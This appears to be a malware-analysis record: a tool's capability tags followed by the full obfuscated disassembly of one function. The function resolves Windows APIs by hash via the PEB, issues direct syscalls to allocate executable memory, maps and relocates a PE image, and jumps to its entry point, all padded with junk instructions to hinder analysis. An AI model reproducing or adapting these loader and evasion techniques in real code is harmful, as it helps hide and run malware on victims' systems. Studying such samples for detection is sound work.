Function at 0x140441714
Capabilities:
Access peb ldr_data
Encrypt data using speck
Execute anti-debugging instructions
Get kernel32 base address
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
stc
push r14
cmc
push r13
cmp r9b, 0x47
push r12
jmp 0x14044172a
push rsi
push rdi
test r11, rbp
push rbp
cmc
cmp cl, bh
push rbx
sub rsp, 0x78
clc
cmp qword [0x1400dd010], 0
jmp 0x140441746
je 0x1404417ab
sub eax, eax
btr cx, r10w
lea rcx, [section..jMakkx0]
or r15b, 0x7b
bts r15w, r13w
nop word cs:[rax + rax]
seta r15b
movsx r15, cx
dec r15w
lea r15, [rax + 0x10]
jmp 0x140441789
cmp qword [rax + rcx + 0x20], 0
movzx rax, r11w
jmp 0x140441798
mov rax, r15
jmp 0x1404417a0
jne 0x14044177c
jmp 0x1404417b7
sub r15d, r15d
setnp r12b
jmp 0x1404417b7
movabs r12, 0xcbf29ce484222325
movabs r13, 0x1d12a89b9e723ff5
movsxd r10, eax
bts cx, r11w
mov rcx, qword gs:[0x30]
bswap r10w
cmp sil, 0xd8
mov rcx, qword [rcx + 0x60]
bts r8w, dx
bts r10w, r14w
rcl r10d, 0x76
mov r10, qword [rcx + 0x18]
add r10, 0x10
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x14044180d
jmp 0x140441820
cmp rbx, r8
jmp 0x14044181a
je 0x140441925
mov r10, qword [r10]
movzx r9w, r8b
mov r9, qword [r10 + 0x30]
clc
test r9, r9
jmp 0x140441835
je 0x140441b9b
mov r11, qword [r10 + 0x60]
mov rdi, 0xffffffffffffffff
cmc
test bl, bpl
clc
cmp word [r11 + rdi*2 + 2], 0
jmp 0x140441857
lea rdi, [rdi + 1]
jmp 0x140441860
jne 0x14044184b
mov rbx, r12
test rdi, rdi
jmp 0x140441871
je 0x140441812
xor ecx, ecx
movzx ax, dh
sub si, 0x5bed
mov rdx, r12
nop word [rax + rax]
movsx bx, dil
shr ah, cl
movzx ebx, word [r11 + rcx*2]
sbb sil, spl
rcr ah, 0xd8
lea ebp, [rbx - 0x41]
movzx si, r8b
movsx eax, r8w
movsxd rax, r11d
lea esi, [rbx - 0x410]
rol ax, cl
xor ax, 0x620c
mov ah, 0x24
lea eax, [rbx + 0x20]
test r14w, cx
stc
cmp si, 0x20
jmp 0x1404418cd
cmovb ebx, eax
jmp 0x1404418df
cmp bp, 0x1a
cmovb ebx, eax
stc
movzx ebx, bx
cmp dil, dil
stc
jmp 0x1404418f3
xor rbx, rdx
cwd
dec dl
bts edx, edx
imul rbx, r13
inc ecx
test r8w, 0x787
shl dx, cl
mov rdx, rbx
cmc
stc
clc
cmp rcx, rdi
jmp 0x14044191a
jb 0x140441892
jmp 0x140441812
test r10, r10
jmp 0x14044192d
je 0x140441b9b
movsxd rax, dword [r9 + 0x3c]
movsx ecx, r13w
bt dx, r8w
sar dh, cl
mov eax, dword [r9 + rax + 0x88]
xor edx, 0x74964f7e
adc dl, r12b
test dil, 0xb7
lea rcx, [r9 + rax]
test rax, rax
xchg dx, dx
bswap rdx
cmove rcx, rax
cmovge dx, r10w
cqo
add edx, eax
mov qword [rsp + 0x38], rcx
rcr dh, cl
or dl, r13b
mov edx, dword [rcx + 0x18]
cmp spl, 0x10
test r15b, dl
test edx, edx
jmp 0x14044198c
je 0x140441b9b
mov rax, qword [rsp + 0x38]
bsr ecx, esp
sal cl, 0x87
mov ecx, dword [rax + 0x20]
sar r8b, cl
btc r8w, r14w
xchg r10, r8
add rcx, r9
not r10w
btr r10w, 0x34
adc r8d, ebp
mov qword [rsp + 0x40], rcx
btc r10w, 0xf3
rol r10w, cl
mov r10d, dword [rax + 0x24]
cmp sp, dx
bswap r8w
lea r10, [r10 + r9]
test bpl, r14b
adc r8w, 0x2448
movsx r8, si
mov r8d, dword [rax + 0x1c]
cmp eax, r12d
clc
lea r8, [r8 + r9]
jmp 0x1404419fb
sub edi, edi
jmp 0x140441a02
jmp 0x140441a24
mov edx, dword [rsp + 0x20]
cwde
movsx rax, r12w
inc rax
inc rdi
shl al, 0xa6
mov eax, edx
cmp rdi, rax
jae 0x140441b9b
movzx ecx, word [r10 + rdi*2]
mov ebx, dword [r8 + rcx*4]
cmp dword [r9 + rbx], 0xb8d18b4c
jne 0x140441a13
mov dword [rsp + 0x20], edx
mov sil, r9b
xchg si, ax
mov rax, qword [rsp + 0x40]
mov esi, dword [rax + rdi*4]
neg bpl
add rsi, r9
or bp, r13w
mov rbp, 0xffffffffffffffff
nop dword [rax + rax]
cmp dx, 0x69c6
cmp byte [rsi + rbp + 1], 0
lea rbp, [rbp + 1]
jmp 0x140441a75
jne 0x140441a67
mov rcx, r12
cmp dil, 0x94
test rbp, rbp
jmp 0x140441a8a
je 0x140441b13
xor r14d, r14d
test r14w, 0x24f1
sar dx, 0xd
mov dh, 0x49
mov r11, r12
stc
nop dword [rax]
sub eax, r15d
sub cx, 0xce8
sar ah, cl
movzx ecx, byte [rsi + r14]
lea edx, [rcx - 0x41]
xor al, 0xdb
lea eax, [rcx + 0x20]
cmp r8b, 0x5f
cmp dl, 0x1a
jmp 0x140441ace
movzx eax, al
jmp 0x140441ad6
cmovae eax, ecx
add cx, r9w
movsx rcx, al
stc
cmp rbx, rbx
cmc
xor rcx, r11
movzx r11d, di
imul rcx, r13
movzx r11, bx
inc r11b
movsx r11d, ax
inc r14d
rcr r11, 1
mov r11, rcx
cmp r14, rbp
jmp 0x140441b0d
jb 0x140441ab5
mov rsi, qword [0x1400dd010]
jmp 0x140441b1f
test rsi, rsi
jmp 0x140441b27
je 0x140441a07
lea rbp, [0x1400dd020]
stc
cmc
nop word cs:[rax + rax]
cmp rsi, rcx
je 0x140441b75
mov rsi, qword [rbp]
jmp 0x140441b59
add rbp, 0x10
cmp dx, 0x63e5
test rsi, rsi
jmp 0x140441b6a
jne 0x140441b45
jmp 0x140441a07
mov eax, dword [rbx + r9 + 4]
mov dword [rbp - 8], eax
cdq
mov ax, 0x456
mov rax, qword [rsp + 0x38]
not dx
movsx rdx, r10w
mov edx, dword [rax + 0x18]
jmp 0x140441b96
jmp 0x140441a13
test r15, r15
jmp 0x140441ba3
je 0x140441c2e
sub ebp, ebp
ror bh, 0x77
rcr ch, cl
lea rbx, [section..jMakkx0]
bt ecx, r14d
mov rcx, r12
nop dword [rax]
shld rdx, r12, 0x17
add dx, r8w
btr dx, r11w
movzx edx, byte [rbp + rbx + 0x10]
cmp esp, 0x346f3179
jmp 0x140441bdf
xor rcx, rdx
imul rcx, r13
jmp 0x140441beb
inc ebp
cmp rbp, r15
jb 0x140441bcf
movabs rdx, 0xe9203a08b69f42e8
lea rcx, [rcx + rdx]
btr edx, r12d
sub rdx, rdi
movabs rdx, 0x52aea00e8a0b3911
xor rdx, rcx
mov cx, 0x400a
movabs rcx, 0xee16cad6b000daab
add rcx, rdx
jmp 0x140441c44
movabs rcx, 0xd5d341ba60cb39c7
movzx rax, bp
bts ax, r11w
rcl ah, 0xff
rol rcx, 0x16
adc ax, 0x18d8
movabs rax, 0x957b6a83b7a0090f
stc
xor rax, rcx
movabs rcx, 0xec0e237d69308474
cmp si, 0x4dbc
cmc
add rcx, rax
cmp r15b, dl
cmp rbx, 0x3db20f36
mov qword [0x1400b7208], rcx
cmp qword [0x1400de010], 0
jmp 0x140441c8b
je 0x140441ce2
xor ecx, ecx
ror eax, 0xb0
bswap dx
sbb edx, edx
lea rdx, [section.DXDpTax1]
sal ax, cl
rol ax, 0x72
nop
btc ax, 0xee
shr ax, cl
bts rax, rsi
lea rax, [rcx + 0x10]
test r11d, 0x791166b2
cmp r9, r15
cmp qword [rcx + rdx + 0x20], 0
movzx ecx, r9w
mov rcx, rax
jmp 0x140441cd7
jne 0x140441cb7
jmp 0x140441ce5
xor eax, eax
stc
mov qword [rsp + 0x60], rax
stc
cmp r14b, r15b
sub ecx, ecx
jmp 0x140441cf5
jmp 0x140441d17
mov rcx, qword [rsp + 0x30]
jmp 0x140441d04
inc rcx
stc
cmp rcx, 8
jmp 0x140441d11
je 0x1404420d9
lea rax, [0x1400bfdf0]
movsx r10d, cx
add r8, r15
mov qword [rsp + 0x30], rcx
btc r8d, 0x3a
rcl r8b, cl
mov r8d, 0x6f9a68ca
mov r8, qword [rax + rcx*8]
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
btc r10d, 0x48
mov r10, qword [rax + 0x18]
cmp r14w, 0x1620
cmp r14, rax
cmc
add r10, 0x10
jmp 0x140441d73
cmp rdx, r8
jmp 0x140441d6d
je 0x140441e42
mov r10, qword [r10]
rol r11w, cl
mov r11w, si
mov r11, qword [r10 + 0x30]
jmp 0x140441d87
test r11, r11
jmp 0x140441d8f
je 0x140441cfa
mov r14, qword [r10 + 0x60]
add bl, r15b
shl bl, cl
sub bl, r9b
mov rbx, 0xffffffffffffffff
nop dword [rax]
clc
cmp word [r14 + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x140441dad
mov rdx, r12
test rbx, rbx
jmp 0x140441dc9
je 0x140441d65
sub ecx, ecx
mov rdi, r12
nop word [rax + rax]
bswap dx
movzx eax, word [r14 + rcx*2]
lea edx, [rax - 0x41]
rcl bpl, cl
lea esi, [rax - 0x410]
lea ebp, [rax + 0x20]
cmp si, 0x20
jmp 0x140441dfa
cmovb eax, ebp
clc
cmp dx, 0x1a
mov dl, 0xe9
cmovb eax, ebp
cmp sil, dl
cmp sil, 0x51
movzx edx, ax
cmp bl, r8b
stc
xor rdx, rdi
sar rdi, 0x62
setg dil
imul rdx, r13
inc ecx
sar dil, cl
shl dil, cl
mov rdi, rdx
cmp rcx, rbx
jmp 0x140441e37
jb 0x140441ddd
jmp 0x140441d65
test r10, r10
jmp 0x140441e4a
je 0x140441cfa
movzx eax, word [r11]
cmp spl, 0x5e
test r9, 0x6f730af2
jmp 0x140441e64
cmp eax, 0x5a4d
jmp 0x140441e6e
jne 0x140441eba
movsxd rax, dword [r11 + 0x3c]
movsx ecx, cx
test r10, rbp
movzx ecx, si
lea rcx, [r11 + rax]
test r11b, r8b
cmp dword [r11 + rax], 0x4550
mov ax, 0x4b04
cwde
movsx ax, r10b
cmove r9, r11
movsx rax, r9w
mov rax, qword [rsp + 0x58]
jmp 0x140441eac
cmove rax, rcx
jmp 0x140441eb5
jmp 0x140441ebf
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x58], rax
movsx rcx, cx
mov ecx, dword [rax + 0x88]
lea rax, [r9 + rcx]
test r9w, r11w
cmp r10w, r13w
rcl bpl, cl
test rcx, rcx
movsx rbp, r14w
cmove rax, rcx
sbb rbp, r10
xadd rbp, rbp
bswap bp
mov ebp, dword [rax + 0x18]
test spl, sil
clc
test ebp, ebp
jmp 0x140441f00
je 0x140441cfa
mov r14d, dword [rax + 0x20]
shr cl, cl
lea r14, [r14 + r11]
bts cx, dx
mov ecx, dword [rax + 0x24]
cmp edx, 0x3ed93fb6
add rcx, r11
test r13b, 0x15
mov qword [rsp + 0x40], rcx
clc
mov qword [rsp + 0x20], rax
cmc
jmp 0x140441f35
mov eax, dword [rax + 0x1c]
add rax, r11
stc
cmc
jmp 0x140441f42
mov qword [rsp + 0x38], rax
cmc
sub esi, esi
jmp 0x140441fae
mov rax, qword [rsp + 0x40]
sal bp, cl
movzx eax, word [rax + rsi*2]
add bpl, dl
inc dh
cwd
mov rdx, qword [rsp + 0x38]
adc rbp, rbx
sbb bpl, 0xf2
rcr rbp, cl
mov eax, dword [rdx + rax*4]
bts ebp, ecx
add rax, r11
setle bpl
mov bpl, al
mov qword [rcx - 8], rax
cbw
mov rax, qword [rsp + 0x20]
not ebp
mov ebp, dword [rax + 0x18]
movzx ax, r11b
inc ax
inc rsi
mov eax, ebp
cmc
stc
cmp rsi, rax
jmp 0x140441fa8
jae 0x140441cfa
mov r8d, dword [r14 + rsi*4]
stc
shr bl, cl
bsr bx, cx
add r8, r11
movsx bx, r11b
cmp r12b, 8
mov rbx, 0xffffffffffffffff
nop dword [rax]
jmp 0x140441fd5
cmp byte [r8 + rbx + 1], 0
jmp 0x140441fe0
lea rbx, [rbx + 1]
jmp 0x140441fe9
jne 0x140441fd5
mov r10, r12
stc
test rbx, rbx
jmp 0x140441ffb
je 0x14044207d
xor ecx, ecx
sar dil, 0x5b
rcr r10w, cl
mov r15, r12
rdtsc
cwd
nop dword [rax]
bts rdi, r11
movzx edi, byte [r8 + rcx]
rol dx, 0x84
add r10b, 0x3a
lea eax, [rdi - 0x41]
btc rdx, 0x9f
dec edx
lea edx, [rdi + 0x20]
adc r10w, cx
cmp al, 0x1a
setl al
movzx eax, dl
cmovae eax, edi
rcl r10b, cl
mov r10, 0x39c0294
movsx r10, al
cmc
xor r10, r15
dec r15b
imul r10, r13
mov r15w, r9w
not r15d
inc ecx
movsx r15, r14w
mov r15, r10
cmp rcx, rbx
jmp 0x140442077
jb 0x14044201d
mov rbx, qword [0x1400de010]
clc
cmp cx, r14w
cmp r13b, 0xa9
test rbx, rbx
jmp 0x140442095
je 0x140441f99
lea rcx, [0x1400de020]
stc
nop dword [rax + rax]
test al, r10b
cmp r10w, 0x1af5
cmp rbx, r10
jmp 0x1404420b9
je 0x140441f4f
mov rbx, qword [rcx]
add rcx, 0x10
test rbx, rbx
jmp 0x1404420ce
jne 0x1404420b1
jmp 0x140441f99
mov rax, qword [rsp + 0x60]
test rax, rax
jmp 0x1404420e6
je 0x140442146
xor ecx, ecx
shr rdx, 5
lea rbp, [section.DXDpTax1]
shr rdx, cl
add dh, 0x21
ror dh, 0x52
nop dword [rax]
movzx edx, byte [rcx + rbp + 0x10]
stc
xor rdx, r12
and r12w, 0x31a0
xor r12b, r10b
bts r12, r8
imul rdx, r13
movsx r12w, cl
dec r12d
inc ecx
or r12b, 0x9a
dec r12b
mov r12, rdx
cmp rcx, rax
jmp 0x14044213b
jb 0x140442105
jmp 0x14044214c
mov rdx, r12
bt eax, ebx
rol rdx, 0xb
bsf rax, r14
ror al, cl
movabs rax, 0xdf7ad2359957b5f4
shrd rcx, rsp, 0xd6
add rax, rdx
movzx cx, bl
btc cx, cx
rol rax, 0x16
bt cx, cx
cmc
movabs rcx, 0x4934245b3ce013cf
stc
xor rcx, rax
movabs rax, 0x5b5c0083c64fa867
add rax, rcx
bts ecx, r11d
cmc
bswap ecx
rol rax, 0xc
bsf cx, r14w
not ecx
add cl, dil
movabs rcx, 0xdd5421de87040723
cmp r8w, cx
cmc
test ch, dh
add rcx, rax
clc
movzx rax, r14w
rcl ax, 0x99
rol rcx, 0x25
mov qword [0x1400b7210], rcx
mov eax, dword [0x7ffe0014]
movzx cx, dil
movzx ecx, r10w
shl cx, 0x6a
mov dword [0x1400b8eb8], eax
bsf cx, di
sbb cl, r12b
or cl, dl
movzx ecx, word [0x140000000]
cmp ecx, 0x5a4d
jmp 0x140442206
jne 0x140442251
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
test r13w, r15w
clc
cmp r14w, 0x296c
cmp dword [rcx + rdx], 0x4550
jmp 0x140442231
jne 0x140442251
lea rbx, [rcx + rdx]
lea r14, [rcx + rdx]
add r14, 0x108
sar bpl, cl
sets bpl
bts cx, bx
imul eax, eax, 0x41c64e6d
shld r13w, di, 0x40
add eax, 0x3039
rol dl, 0xa1
shrd edx, r14d, 0xa3
xor r9d, 0x5b434cd6
imul ecx, eax, 0x41c64e6d
shr eax, 0x10
lea edx, [rax + rax*2]
ror r12b, cl
rol r12b, cl
jmp 0x140442288
shr edx, 0x10
setg r13b
mov ebp, eax
bts r10, r8
movsx r12d, cx
neg r9w
sub ebp, edx
clc
movzx ebp, bp
shr ebp, 1
add ebp, edx
movzx r13d, bp
rol r9d, cl
shr r13d, 0xe
rcr r9b, cl
sub edx, r12d
add r13d, eax
dec r9b
and r13d, 0x3fff
add r13d, 0xfff
sub r10, rdx
movsxd r10, r8d
and r13d, 0x7000
movsx rdx, r12w
add ecx, 0x3039
xchg al, r10b
test di, 0x1a0f
sal r12b, 0xfa
mov dword [0x1400b8eb8], ecx
cmc
sbb r9d, esi
cdqe
shr ecx, 0x10
sar r10w, 0x94
lea eax, [rcx + rcx*2]
shr eax, 0x10
btc edx, r12d
mov edx, ecx
btc r9, r13
sub edx, eax
not r12b
bswap r10d
movzx edx, dx
rcl r9w, cl
shr edx, 1
add edx, eax
movzx r12d, dx
neg ah
shr ah, cl
shr r12d, 0xe
add r12d, ecx
rcr rax, 0xca
bswap rcx
and r12d, 0x3fff
sar ax, 1
jmp 0x14044234b
add r12d, 0xfff
rcl cl, cl
or ax, r15w
movsxd rcx, r10d
and r12d, 0x7000
xor rax, 0x405e4e73
bt cx, 0x65
movsxd r9, r12d
mov qword [rsp + 0x28], 0
and dx, 0x1b1e
mov qword [rsp + 0x20], rbx
lahf
movzx r10, r11w
rdtsc
mov ecx, dword [rbx + 0x50]
rcl dx, 0x9a
lea rcx, [rcx + r12]
lea rcx, [rcx + r13]
neg r10w
bsr ax, r10w
rdtsc
mov qword [rsp + 0x48], rcx
clc
mov eax, dword [0x1400dd078]
mov r10w, 0x72f0
shld r9d, r13d, 0x33
mov dx, r10w
lea rdx, [rsp + 0x28]
shl r10b, cl
shr r10b, 0x9a
movsx r10, si
lea r9, [rsp + 0x48]
sub r10b, 0xd8
mov r10, 0xffffffffffffffff
test r12d, r14d
xor r8d, r8d
cmc
cmp r15b, 0x3f
sub rsp, 0x40
jmp 0x1404423f3
mov qword [rsp + 0x28], 0x3000
jmp 0x140442401
mov qword [rsp + 0x30], 4
jmp 0x14044240f
syscall
add rsp, 0x40
movsx r8d, di
test r10b, r9b
mov rcx, qword [rsp + 0x28]
xor r8b, r14b
cmp r11, rsi
rol r8w, 0x48
mov r8, qword [rsp + 0x48]
xor edx, edx
call fcn.1404a304e
mov r15, qword [rsp + 0x28]
jmp 0x140442446
test r13d, r13d
jmp 0x14044244e
je 0x14044264f
mov rcx, r13
rol rdi, cl
sbb eax, edi
shr rcx, 3
cmp edi, 0x596b0638
cmp rcx, 2
cdq
mov sil, 0xd0
cbw
mov r8d, 1
movsx bx, bh
cmovae r8, rcx
movzx ecx, bx
sbb ebp, ebx
xor r9d, r9d
adc al, r14b
ror dil, cl
nop word cs:[rax + rax]
movsx rsi, r15w
movzx ecx, r13w
bsr rax, r10
imul edx, dword [0x1400b8eb8], 0x41c64e6d
cwde
add edx, 0x3039
or cx, 0x733c
imul edi, edx, 0x41c64e6d
mov ebp, edx
movsx cx, r11b
test spl, bl
bswap edx
shr ebp, 0x10
adc rcx, 0x796418e3
cbw
lea edx, [rbp + rbp*2]
lahf
jmp 0x1404424e5
shr edx, 0x10
mov eax, ebp
bts bx, sp
sub eax, edx
movzx eax, ax
btc cx, r15w
shr eax, 1
xor si, 0x7533
cmc
rcr bh, 0xe3
add eax, edx
jmp 0x14044250b
add edi, 0x3039
shr ch, cl
clc
movzx edx, ax
not bh
mov eax, edi
shr eax, 0x10
lea ebx, [rax + rax*2]
jmp 0x14044252a
shr edx, 0xe
shr ebx, 0x10
mov esi, eax
sub esi, ebx
btc ecx, 0x1f
mov ecx, edx
movzx esi, si
stc
shr esi, 1
add esi, ebx
shl ecx, 0xf
movzx ebx, si
add rsi, 0x59760cc9
shr ebx, 0xe
mov esi, ebx
clc
sub edx, ecx
sal ch, cl
bt cx, r15w
shl esi, 0xf
sub ebx, esi
movsx cx, r10b
mov cx, dx
add ebx, eax
add edx, ebp
mov ah, 0x20
sub ebp, ebp
cmp bx, 0x10
movsx cx, ah
setb bpl
imul eax, edi, 0x41c64e6d
movsx rcx, r8w
add eax, 0x3039
imul ecx, eax, 0x41c64e6d
test r15d, r10d
bts rbx, r10
shr eax, 0x10
lea ebx, [rax + rax*2]
mov dil, 0x49
bt edi, eax
and dil, 0x3b
shr ebx, 0x10
mov edi, eax
sub edi, ebx
cmp r8b, 0xb9
movzx edi, di
cmp r10b, spl
test cl, r10b
shr edi, 1
clc
add edi, ebx
mov bl, r14b
movzx edx, dx
movsx bx, r11b
jmp 0x1404425d5
movzx ebx, di
shld di, r13w, 0x50
sar dil, 0xa9
btc di, 0x10
shr ebx, 0xe
mov edi, ebx
stc
cmp cl, 0xf4
or rbp, rdx
test r9, rcx
cmc
shl edi, 0xf
cmp r14, r10
sub ebx, edi
cmc
test r12w, di
add ebx, eax
cmc
test sil, 0xc7
add ecx, 0x3039
jmp 0x140442617
xor eax, eax
cmp bx, 0x20
setb al
test r10w, bp
jmp 0x14044262a
mov dword [0x1400b8eb8], ecx
test r15d, 0x62515099
or rax, rbp
mov qword [r15 + r9*8], rax
inc r9
cmp r8, r9
jne 0x1404424a2
mov r15, qword [rsp + 0x28]
test r12, r12
je 0x1404428b3
sub r15, r12
btc di, 0x31
cdqe
add r15, qword [rsp + 0x48]
bsr bx, r12w
shr r12, 3
cqo
cmc
add bp, 0x2094
cmp r12, 2
movsx rsi, r10w
cmovae si, r12w
mov r8d, 1
cmovae r8, r12
or eax, r11d
movzx rsi, r12w
sub r9d, r9d
btr dx, 0xd7
nop
imul edx, dword [0x1400b8eb8], 0x41c64e6d
not bp
add edx, 0x3039
sal esi, 0x48
imul edi, edx, 0x41c64e6d
neg bp
mov ebp, edx
shr ebp, 0x10
bt ax, 0x71
lea edx, [rbp + rbp*2]
shld ax, bp, 0xf9
xchg cx, si
bsr si, dx
shr edx, 0x10
mov ebx, ebp
clc
sub ebx, edx
bts ax, r14w
movzx ebx, bx
shr ebx, 1
sub ax, 0xf66
bts ax, r11w
xor si, r13w
add ebx, edx
bts si, ax
add edx, 0x19077eb5
sbb dh, 0x9d
add edi, 0x3039
ror ah, 0x46
movzx edx, bx
bts esi, r9d
btr bx, r9w
mov ebx, edi
adc cl, r8b
dec eax
btc si, r8w
shr ebx, 0x10
sub ax, dx
ror si, 3
sal si, cl
lea esi, [rbx + rbx*2]
rcl rax, cl
shr edx, 0xe
rcr ax, 0x42
shr esi, 0x10
mov eax, ebx
sub ch, 0x92
sub eax, esi
shr ecx, cl
shld cx, bp, 0x3b
mov ecx, edx
movzx eax, ax
shr eax, 1
jmp 0x140442766
add eax, esi
shl ecx, 0xf
bt si, r12w
rcr si, cl
cmovg si, r14w
movzx eax, ax
cmp dil, r11b
sar rsi, cl
shr eax, 0xe
mov esi, eax
stc
test r13w, cx
sub edx, ecx
movsx cx, dil
and ch, 0x85
shl esi, 0xf
sal cx, 0x3e
bts ecx, r14d
and rcx, 0x597a12ce
sub eax, esi
rol cl, cl
add eax, ebx
rol bl, cl
movsx cx, r14b
add edx, ebp
rol cx, 0x45
neg bx
sub ebp, ebp
inc cl
shrd ecx, r9d, 0x5d
cmp ax, 0x10
lahf
movzx ebx, r12w
setb bpl
imul eax, edi, 0x41c64e6d
shr ebx, 0x9b
add rcx, 0x14565b24
add eax, 0x3039
imul ecx, eax, 0x41c64e6d
and dil, spl
shr eax, 0x10
movzx rdi, bp
lea ebx, [rax + rax*2]
shr ebx, 0x10
test r9d, 0x1f26c1e
sal dil, 0x92
sbb dil, r15b
mov edi, eax
clc
sub edi, ebx
jmp 0x14044281d
movzx edi, di
jmp 0x140442826
shr edi, 1
add edi, ebx
btc ebx, edi
movzx edx, dx
movzx ebx, di
bts rdi, r10
bsf rdi, rsi
movzx rdi, r8w
shr ebx, 0xe
movsx edi, dx
sal di, cl
mov edi, ebx
cmp sp, 0x4b63
cmc
or rbp, rdx
stc
shl edi, 0xf
sub ebx, edi
jmp 0x14044285f
add ebx, eax
add ecx, 0x3039
cmp r11, r15
test r8, rdi
sub eax, eax
cmc
clc
cmp bx, 0x20
mov al, al
xchg al, al
setb al
mov dword [0x1400b8eb8], ecx
test r15b, 0xd7
cmp ebx, edi
or rax, rbp
jmp 0x140442890
mov qword [r15 + r9*8], rax
inc r9
test r12b, 0x55
cmp sp, 0x1abf
cmp r8, r9
jmp 0x1404428a8
jne 0x1404426a0
mov r15, qword [rsp + 0x28]
mov rax, qword [rsp + 0x20]
clc
test bl, sil
add r15, r13
movzx eax, word [rax + 6]
cmp r13, 0x192166fd
clc
jmp 0x1404428d0
test rax, rax
je 0x1404429f4
shl rax, 3
movzx r13w, bpl
lea rbp, [rax + rax*4]
xor edi, edi
neg ebx
movsxd r12, ecx
sub r8w, r11w
mov ebx, 4
shl r12d, 0x69
lea rsi, [rsp + 0x70]
cmc
cwd
lea r12, [rsp + 0x68]
cwde
sbb al, 0xd7
lea r13, [rsp + 0x54]
inc r8d
bts rcx, r12
movsx ax, dh
nop dword [rax + rax]
mov edx, dword [r14 + rdi + 0xc]
shrd rcx, rdi, 0x9e
adc r8b, 0xcf
add ah, 0xec
lea rcx, [r15 + rdx]
mov qword [rsp + 0x70], rcx
sbb r8w, sp
movsxd rax, r12d
sub ah, 0x57
lea rax, [0x140000000]
bsf r8w, si
sal r8w, 0xb
adc r8d, edx
add rdx, rax
jmp 0x14044295f
mov r8d, dword [r14 + rdi + 8]
jmp 0x140442969
call fcn.1404a2569
mov eax, dword [r14 + rdi + 8]
mov qword [rsp + 0x68], rax
rcl r9d, 0x4b
bts r9d, esi
rol dh, cl
mov dword [rsp + 0x54], 0
bts r9, rdx
test dword [r14 + rdi + 0x24], 0x20000000
rdtsc
mov r9d, 0x40
movsxd rax, r11d
movsx r8, r15w
cmove r9d, ebx
mov eax, dword [0x1400dd088]
cmc
mov r10, 0xffffffffffffffff
btr r8, 0xaa
mov rdx, rsi
mov r8, r12
test r13w, r9w
cmp esi, ebx
jmp 0x1404429ce
sub rsp, 0x30
jmp 0x1404429d7
mov qword [rsp + 0x28], r13
jmp 0x1404429e1
syscall
add rsp, 0x30
add rdi, 0x28
stc
cmp ebp, edi
jne 0x14044291f
lea rdx, [0x140000000]
cmc
mov rax, r15
movsx ecx, r12w
sub rax, rdx
mov rsi, qword [rsp + 0x20]
stc
add ch, 0x4d
mov ecx, dword [rsi + 0xb0]
test r12d, esp
add rcx, rdx
jmp 0x140442a20
je 0x140442b07
mov r8d, 1
jmp 0x140442a42
mov ebx, dword [rcx + 4]
add rcx, rbx
jmp 0x140442a3c
je 0x140442b07
cmp dword [rcx], 0
jmp 0x140442a4a
je 0x140442b07
mov ebx, dword [rcx + 4]
test rbx, rbx
je 0x140442b07
lea rbp, [rbx - 8]
cmp r8, 0x54e97cf3
test ch, 0xd0
cmp sil, cl
cmp rbp, 2
jb 0x140442a34
shr rbp, 1
test r9b, 0xde
cmp rbp, 2
cmovb rbp, r8
clc
cmp r13w, 0x4ea0
jmp 0x140442a92
sub ebx, ebx
jmp 0x140442a99
jmp 0x140442acd
and edi, 0xfff
rol dh, cl
mov edx, dword [rcx]
add rdi, r15
add qword [rdx + rdi], rax
jmp 0x140442ab4
inc rbx
jmp 0x140442abf
cmp rbp, rbx
jmp 0x140442ac7
je 0x140442a31
movzx edi, word [rcx + rbx*2 + 8]
cmp edi, 0x1000
jmp 0x140442add
jb 0x140442ab4
mov edx, edi
cmp esi, ecx
stc
shr edx, 0xc
cmp edx, 0xa
jmp 0x140442af3
je 0x140442a9e
cmp edx, 3
je 0x140442a9e
jmp 0x140442ab4
mov ecx, dword [rsi + 0xd0]
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x140442b22
movdqu xmm2, xmmword [r15 + rcx + 0x10]
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
jmp 0x140442b38
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
rol dx, cl
lea rdx, [0x14005d630]
add rdx, rax
lea rcx, [0x140000000]
jmp 0x140442b5c
call rdx
nop
bswap r13w
xor bp, dx
add rsp, 0x78
pop rbx
pop rbp
mov r14w, 0x7568
cmovle r13d, esp
jmp 0x140442b7a
pop rdi
cmovle r14, rdx
pop rsi
pop r12
pop r13
movzx r15d, r15w
mov r14w, 0x7c1c
movsx r14, r15w
pop r14
movsx r15w, r12b
movsxd r15, ecx
mov r15b, r10b
pop r15
jmp 0x140442ba5
ret